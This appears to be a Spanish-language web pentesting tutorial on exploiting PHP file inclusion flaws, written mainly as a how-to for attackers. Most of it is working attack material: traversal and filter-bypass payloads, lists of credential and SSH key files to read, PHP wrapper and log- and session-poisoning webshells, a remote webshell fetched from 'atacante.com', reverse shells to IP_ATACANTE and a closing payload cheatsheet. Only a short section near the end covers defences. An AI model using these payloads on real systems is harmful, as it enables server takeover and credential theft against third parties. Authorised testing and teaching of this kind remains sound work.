Las vulnerabilidades de inclusión de archivos son engañosamente simples en apariencia: convences a una aplicación de que cargue un archivo que no debería. Pero los caminos de explotación que abren van desde la divulgación de datos sensibles hasta la ejecución remota de código completa. Log poisoning, cadenas de filtros PHP, inyección en archivos de sesión, trucos con null bytes — esta clase de vulnerabilidad tiene más profundidad que la mayoría.

Si haces pentesting de aplicaciones web o bug bounty en 2026, te encontrarás con inclusión de archivos regularmente. Las aplicaciones PHP son el objetivo más común, pero los patrones aparecen en otros lenguajes también. Esta guía cubre LFI y RFI desde los fundamentos hasta la explotación avanzada.


¿Qué Es la Inclusión de Archivos?

La inclusión de archivos ocurre cuando una aplicación web carga dinámicamente un archivo basándose en input controlado por el usuario, sin validar correctamente qué archivo se carga.

El patrón fundamental:

// Código PHP vulnerable
$page = $_GET['page'];
include($page);

Una petición legítima:

GET /index.php?page=about.php

La petición de un atacante:

GET /index.php?page=/etc/passwd

El servidor lee /etc/passwd e incluye su contenido en la respuesta. Eso es Local File Inclusion (LFI) en su forma más básica.

Hay dos variantes:

TipoQué Hace¿Ejecución de Código?
LFI (Inclusión de Archivos Locales)Lee archivos ya presentes en el servidorPosible via log poisoning, filtros PHP
RFI (Inclusión de Archivos Remotos)Carga y ejecuta un archivo desde una URL remotaDirecta — trae tu shell y ejecútala

RFI es más peligrosa pero menos común — las configuraciones modernas de PHP deshabilitan allow_url_include por defecto. LFI es mucho más prevalente y aun así lleva a RCE en las condiciones adecuadas.


Por Qué la Inclusión de Archivos Sigue Existiendo en 2026

El código PHP legado está en todas partes. Sistemas de gestión de contenido, paneles de administración, plataformas de comercio electrónico y herramientas internas construidas antes de que los frameworks modernos se estandarizaran usaban carga dinámica de archivos como característica conveniente.

Cambio de tema/plantilla:

include('themes/' . $_GET['theme'] . '/header.php');

Selección de idioma:

include('lang/' . $_COOKIE['language'] . '.php');

Carga modular de páginas:

include('modules/' . $_POST['module'] . '.php');

Estos patrones parecían naturales cuando se escribieron. También son un punto de inyección directo para cualquiera que los busque.

Más allá de PHP, los patrones de inclusión de archivos aparecen en:

  • Aplicaciones Python usando open() con rutas controladas por el usuario
  • Node.js con fs.readFile() en rutas dinámicas
  • Aplicaciones Java que cargan archivos de recursos
  • Cualquier lenguaje donde las rutas de archivos se construyen desde input del usuario

Detectando Vulnerabilidades de Inclusión de Archivos

Pruebas Manuales

Busca parámetros que parezcan cargar archivos o módulos:

?page=home
?file=report.pdf
?template=default
?module=contact
?lang=en
?include=header
?path=../config

Prueba con un archivo conocido:

# Objetivos Linux
?page=/etc/passwd
?page=../../../../etc/passwd
?page=/etc/hosts
?page=/proc/self/environ

# Objetivos Windows
?page=C:\Windows\win.ini
?page=C:/Windows/System32/drivers/etc/hosts
?page=../../../../Windows/win.ini

Un LFI exitoso devuelve el contenido del archivo en la respuesta — ya sea mostrado directamente o incrustado en el HTML de la página.

Fuzzing con Wordlists

Usa una wordlist dedicada a LFI:

# Con ffuf
ffuf -u "https://objetivo.com/index.php?page=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -fs 1234  # filtrar por tamaño de respuesta para ocultar la línea base

# Con wfuzz
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  --hh 1234 \
  "https://objetivo.com/index.php?page=FUZZ"

SecLists tiene excelentes wordlists de LFI en Fuzzing/LFI/. La lista de Jhaddix cubre cientos de variaciones de path traversal y archivos sensibles comunes.

Escaneo Automatizado

# Nuclei tiene plantillas para LFI
nuclei -u https://objetivo.com -t /path/to/nuclei-templates/vulnerabilities/generic/lfi-linux.yaml

# En Burp: click derecho en la petición → Scan → Active scan

Path Traversal — La Técnica Central

La mayoría de las defensas contra inclusión de archivos son filtros de input. Los atacantes los evaden con secuencias de path traversal.

Traversal Básico

Navega hacia arriba en el árbol de directorios para alcanzar archivos arbitrarios:

../../../../etc/passwd
../../../etc/shadow
../../../../../../etc/hosts

¿Cuántos ../ necesitas? Depende de la profundidad del web root. Empieza con 4–6 y ve ajustando. PHP se detendrá en la raíz del filesystem incluso si te pasas:

../../../../../../../../../../../../etc/passwd

Funciona aunque no haya 12 niveles de directorio para traversar — los ../ adicionales desde la raíz se ignoran silenciosamente.

Técnicas de Bypass de Filtros

Los desarrolladores agregan filtros. Así es como los evadimos.

Filtro: elimina ../

# Doble codificación
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Codificación URL
..%252F..%252F..%252Fetc%252Fpasswd

# Codificación mixta
..%2f..%2f..%2fetc/passwd

# Traversal anidado (el filtro elimina ../ una vez, dejando ../)
....//....//....//etc/passwd
..././..././..././etc/passwd

Filtro: antepone una ruta fija

include('/var/www/html/' . $_GET['page']);

El path traversal sigue funcionando:

../../etc/passwd
# Resuelve a: /var/www/html/../../etc/passwd → /var/etc/passwd  (incorrecto)
# Profundidad correcta:
../../../etc/passwd
# Resuelve a: /var/www/html/../../../etc/passwd → /etc/passwd

Filtro: verifica que la ruta empiece con una cadena específica

/var/www/html/../../../../etc/passwd

La verificación pasa (empieza con el prefijo esperado), el traversal sigue funcionando.

Filtro: bloquea null bytes (versiones PHP antiguas)

PHP antiguo (< 5.3.4) truncaba cadenas en null bytes:

/etc/passwd%00
../../../../etc/passwd%00.php

La verificación de extensión .php pasa, pero el null byte la trunca a /etc/passwd. Esto está parcheado en PHP moderno pero sigue siendo útil en sistemas legacy.

Filtro: requiere extensión .php

include($_GET['page'] . '.php');

Bypass con PHP moderno — usa wrappers PHP en su lugar (cubiertos abajo).


LFI — Archivos Sensibles para Apuntar

Una vez que confirmas LFI, lee archivos de alto valor.

Objetivos Linux

# Datos de usuarios y credenciales
/etc/passwd          # Cuentas de usuario
/etc/shadow          # Hashes de contraseñas (generalmente requiere root)
/etc/group           # Membresías de grupo
/home/user/.ssh/id_rsa       # Claves SSH privadas
/root/.ssh/id_rsa            # Clave SSH de root
/home/user/.bash_history     # Historial de comandos
/root/.bash_history

# Configuraciones de aplicaciones
/var/www/html/config.php     # Credenciales de BD de la app web
/var/www/html/.env           # Variables de entorno de Laravel/Node.js
/var/www/html/wp-config.php  # Credenciales de WordPress
/etc/apache2/sites-enabled/000-default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default

# Información del sistema
/proc/self/environ   # Variables de entorno (incluidas cabeceras HTTP)
/proc/self/cmdline   # Línea de comandos del proceso actual
/proc/self/status    # Estado del proceso
/proc/version        # Versión del kernel
/proc/net/tcp        # Conexiones TCP (puede revelar servicios internos)

# Logs (útiles para log poisoning)
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log
/var/log/syslog

# Archivos de sesión
/var/lib/php/sessions/
/tmp/sess_<sessionid>

Objetivos Windows

# Archivos del sistema
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\services
C:\Windows\repair\sam     # Base de datos SAM (generalmente bloqueada)

# Configuraciones de aplicaciones
C:\xampp\htdocs\config.php
C:\inetpub\wwwroot\web.config
C:\Apache24\conf\httpd.conf

# Logs de IIS
C:\inetpub\logs\LogFiles\W3SVC1\

# Almacenes de credenciales Windows
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM

Wrappers PHP — LFI con Esteroides

Los wrappers PHP transforman lo que puede hacer LFI. Están habilitados por defecto y evaden muchas restricciones de extensión.

php://filter — Leer Código Fuente

El wrapper más útil. Lee archivos PHP fuente sin ejecutarlos:

?page=php://filter/convert.base64-encode/resource=config.php

El servidor devuelve el código fuente codificado en base64. Decodifícalo:

echo "PD9waHAK..." | base64 -d

Ahora tienes el código PHP fuente — credenciales, claves API, lógica interna.

Variaciones comunes de filtros:

# Codificar en base64 (más confiable)
php://filter/convert.base64-encode/resource=index.php

# Sin codificación (puede fallar si PHP procesa el archivo incluido)
php://filter/resource=config.php

# Múltiples filtros encadenados
php://filter/read=string.rot13/convert.base64-encode/resource=config.php

# Leer archivos arbitrarios (no solo PHP)
php://filter/convert.base64-encode/resource=/etc/passwd

php://input — RCE via POST

Si allow_url_include está activado (raro en 2026 pero existe en sistemas legacy):

curl -X POST "https://objetivo.com/index.php?page=php://input" \
  -d '<?php system($_GET["cmd"]); ?>'

Luego:

GET /index.php?page=php://input&cmd=id

Wrapper data://

Otro enfoque cuando allow_url_include está activado:

?page=data://text/plain,<?php system('id'); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

Wrapper expect://

Ejecución directa de comandos si la extensión expect está cargada (poco común):

?page=expect://id
?page=expect://whoami

LFI a RCE — Log Poisoning

¿Sin allow_url_include? No hay problema. El log poisoning convierte LFI en RCE escribiendo código PHP en un archivo de log y luego incluyéndolo.

Envenenamiento del Log de Acceso Apache/Nginx

Paso 1: Inyecta código PHP en la cabecera User-Agent:

curl -s "https://objetivo.com/" \
  -H 'User-Agent: <?php system($_GET["cmd"]); ?>'

El servidor web escribe esto en su log de acceso. El código PHP ahora está en /var/log/apache2/access.log.

Paso 2: Incluye el archivo de log via LFI:

GET /index.php?page=/var/log/apache2/access.log&cmd=id

El intérprete PHP ejecuta el código del log. Tienes RCE.

Ubicaciones comunes de logs:

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/proc/self/fd/1    # stdout (Apache)
/proc/self/fd/2    # stderr

Consejos:

  • Los archivos de log pueden volverse grandes. El código PHP se agrega con cada petición — mantenlo corto.
  • Si el log no es legible por permisos, prueba los descriptores de archivo /proc/self/fd/.
  • El log de autenticación SSH también funciona si puedes controlar el nombre de usuario: ssh '<?php system($_GET["cmd"]); ?>'@objetivo.com

Envenenamiento del Log de Autenticación SSH

# Inyecta PHP en el log de autenticación via nombre de usuario SSH
ssh '<?php system($_GET["cmd"]); ?>'@objetivo.com

# Luego incluye el log de autenticación
GET /index.php?page=/var/log/auth.log&cmd=id

El intento de autenticación fallido registra el código PHP en el campo de nombre de usuario.

Envenenamiento de Archivos de Sesión PHP

Paso 1: Encuentra o establece una sesión. El ID de sesión está en tu cookie PHPSESSID.

Paso 2: Encuentra un parámetro que se guarde en la sesión:

GET /index.php?lang=<?php system($_GET["cmd"]); ?>

Si lang se guarda en la sesión, el código PHP ahora está en /var/lib/php/sessions/sess_<tu_id_de_sesion>.

Paso 3: Incluye el archivo de sesión:

GET /index.php?page=/var/lib/php/sessions/sess_abc123&cmd=id

Los archivos de sesión son legibles por el proceso web. Limpio y confiable cuando funciona.


Cadenas de Filtros PHP — LFI a RCE Sin Archivo

Esta técnica no requiere ningún archivo escribible. Genera código PHP puramente a través de transformaciones encadenadas de filtros PHP.

El concepto: encadenar múltiples filtros PHP en secuencia para producir código PHP arbitrario desde una cadena vacía.

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|...|/resource=php://temp

La cadena es compleja y requiere herramientas para generarse correctamente. Usa php_filter_chain_generator:

git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator

# Genera una cadena que ejecuta system('id')
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

Copia la salida y úsala como tu parámetro page:

GET /index.php?page=php://filter/convert.iconv.UTF8...[cadena larga]...&cmd=id

Esto funciona en PHP moderno sin allow_url_include, sin archivos escribibles, sin logs — solo LFI y filtros PHP. Es una técnica significativa para situaciones de LFI que de otro modo estarían bloqueadas.


Inclusión de Archivos Remotos (RFI)

Cuando allow_url_include = On está configurado (PHP legacy, algunas configuraciones incorrectas), puedes incluir archivos desde URLs remotas.

Configuración

Máquina atacante — sirve un shell PHP:

# Crea un webshell simple
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

# Sírvelo
cd /tmp && python3 -m http.server 8000
# o: php -S 0.0.0.0:8000

Explotación:

GET /index.php?page=http://atacante.com:8000/shell.php&cmd=id

El servidor obtiene tu archivo PHP, lo ejecuta y devuelve la salida.

Técnicas de Bypass de RFI

Filtro: bloquea http://

# Usar HTTPS
?page=https://atacante.com/shell.php

# FTP (si allow_url_fopen está activado)
?page=ftp://atacante.com/shell.php

# Doble codificación URL
?page=http%3A%2F%2Fatacante.com%2Fshell.php

# Null byte (PHP antiguo)
?page=http://atacante.com/shell.php%00

Verificar si RFI está habilitado:

# Configura un listener, luego intenta incluir tu IP
# Si recibes un hit, RFI está habilitado
?page=http://tu-ip/test.php

Escalando LFI a Shell Inverso

Una vez que tienes ejecución de código mediante cualquier técnica LFI, pivota a un shell inverso completo.

Listener en la máquina atacante:

nc -lvnp 4444
# o: rlwrap nc -lvnp 4444

Payload de shell inverso (codificado en URL para el parámetro cmd):

# Bash
bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1'

# Versión codificada en URL
bash+-c+'bash+-i+>%26+/dev/tcp/IP_ATACANTE/4444+0>%261'

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ATACANTE",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Con curl:

curl -s "https://objetivo.com/index.php?page=/var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.1.100/4444+0>%261'"

Escenarios de Explotación Reales

Escenario 1: Inclusión de Archivos en Tema de WordPress

Las instalaciones legacy de WordPress a veces tienen código vulnerable en temas o plugins:

# Parámetro de prueba
GET /wp-content/themes/custom/page.php?template=contact

# Intento de LFI
GET /wp-content/themes/custom/page.php?template=../../../wp-config.php

wp-config.php contiene las credenciales de la base de datos. Desde ahí: acceso a la base de datos → hash de contraseña admin → crackear o resetear → admin de WordPress → ejecución PHP via editor de temas.

Escenario 2: Función de Selección de Idioma

<?php
$lang = $_GET['lang'] ?? 'en';
include('languages/' . $lang . '.php');
?>

El path traversal evade el prefijo languages/:

?lang=../../../../../../etc/passwd

Usa php://filter para leer el código fuente:

?lang=../../config%00    # null byte si PHP < 5.3.4
?lang=php://filter/convert.base64-encode/resource=../../config

Escenario 3: Log Poisoning a Webshell

  1. Confirma LFI con /etc/passwd
  2. Verifica que el log sea legible: ?page=/var/log/nginx/access.log
  3. Inyecta payload: curl -H 'User-Agent: <?php @eval($_POST["x"]); ?>' https://objetivo.com/
  4. Incluye el log y envía comandos via POST: page=/var/log/nginx/access.log con cuerpo POST x=system('whoami');
  5. Escala a shell inverso completo

Detectando LFI con Burp Suite

Enfoque de pruebas manuales:

  1. Intercepta todas las peticiones en Burp Proxy
  2. Envía a Intruder
  3. Marca el valor del parámetro como posición de payload
  4. Carga una wordlist de LFI (/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt)
  5. Filtra por longitud de respuesta — las anomalías indican inclusión

Burp Active Scanner:

El escáner de Burp incluye detección de path traversal. Ejecútalo contra cualquier parámetro que parezca una ruta de archivo.

Grep manual para indicadores de éxito:

# Linux — busca formato de passwd
root:x:0:0:

# Windows — busca formato INI
; for 16-bit app support
[fonts]

¿Quieres potenciar tu flujo de trabajo de pentesting web? Un VPS dedicado mantiene tus herramientas y listeners funcionando 24/7 sin quemar tu ancho de banda local. Vultr y DigitalOcean son buenas opciones — una instancia de $6/mes es suficiente para la mayoría de los compromisos.


Contramedidas Defensivas

Entender la defensa afila el ataque. Así es como se ven las implementaciones seguras.

Lista blanca, no lista negra:

// Vulnerable — lista negra
$page = str_replace('../', '', $_GET['page']);

// Seguro — lista blanca
$allowed = ['home', 'about', 'contact', 'services'];
$page = $_GET['page'];
if (!in_array($page, $allowed)) {
    $page = 'home';
}
include('pages/' . $page . '.php');

Usar realpath() y verificar el prefijo:

$base = realpath('/var/www/html/pages/');
$requested = realpath($base . '/' . $_GET['page']);
if ($requested === false || strpos($requested, $base) !== 0) {
    die('Archivo inválido');
}
include($requested);

Configuración PHP (php.ini):

allow_url_include = Off    ; Desactivado por defecto — previene RFI
allow_url_fopen = Off      ; Desactivar si no se necesita
open_basedir = /var/www/html   ; Restringe acceso de archivos al web root

Deshabilitar funciones PHP peligrosas:

disable_functions = system, exec, passthru, shell_exec, popen, proc_open

Inclusión de Archivos en Programas de Bug Bounty

Los hallazgos de LFI van desde P4 (bajo) hasta P1 (crítico) dependiendo de lo que puedas demostrar.

P4/P3: Divulgación de ruta, lectura de archivos no sensibles P2: Lectura de archivos sensibles (credenciales, código fuente, claves privadas) P1: RCE via log poisoning, wrappers PHP o cadenas de filtros

Cómo escribir un buen informe de LFI:

  1. Muestra el parámetro vulnerable y la petición exacta
  2. Demuestra qué datos sensibles accediste (redacta después del PoC)
  3. Si escalaste a RCE: muestra la cadena completa
  4. Incluye el impacto de negocio — ¿credenciales → acceso a base de datos → datos de clientes?

No te detengas en /etc/passwd. Eso es P4. Sigue la cadena: /etc/passwd → descubre nombres de usuario → /home/user/.ssh/id_rsa → acceso SSH → eso es P1.


Referencia Rápida: Cheatsheet de Payloads LFI

# Traversal básico
../../../../etc/passwd
../../../../etc/shadow
../../../../etc/hosts

# Bypass de filtros
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252F..%252F..%252Fetc%252Fpasswd

# Wrappers PHP
php://filter/convert.base64-encode/resource=config.php
php://filter/convert.base64-encode/resource=/etc/passwd
php://input  (POST: <?php system($_GET["cmd"]); ?>)
data://text/plain,<?php system('id'); ?>

# Archivos de log
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log
/proc/self/environ

# Archivos de sesión
/var/lib/php/sessions/sess_SESSIONID
/tmp/sess_SESSIONID

# Rutas Windows
C:\Windows\win.ini
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\inetpub\wwwroot\web.config

Qué Sigue en la Serie de Pentesting Web

Esta guía forma parte de la serie de seguridad de aplicaciones web de RedTeamGuide.com:


¿Necesitas Tu Informe de Red Team Redactado?

¿Explotaste inclusión de archivos y necesitas un entregable que realmente impacte al cliente? CipherWrite se encarga de informes de red team, write-ups de pentesting y documentación técnica — estructurados tanto para lectores técnicos como ejecutivos. Entrega en 3–5 días hábiles.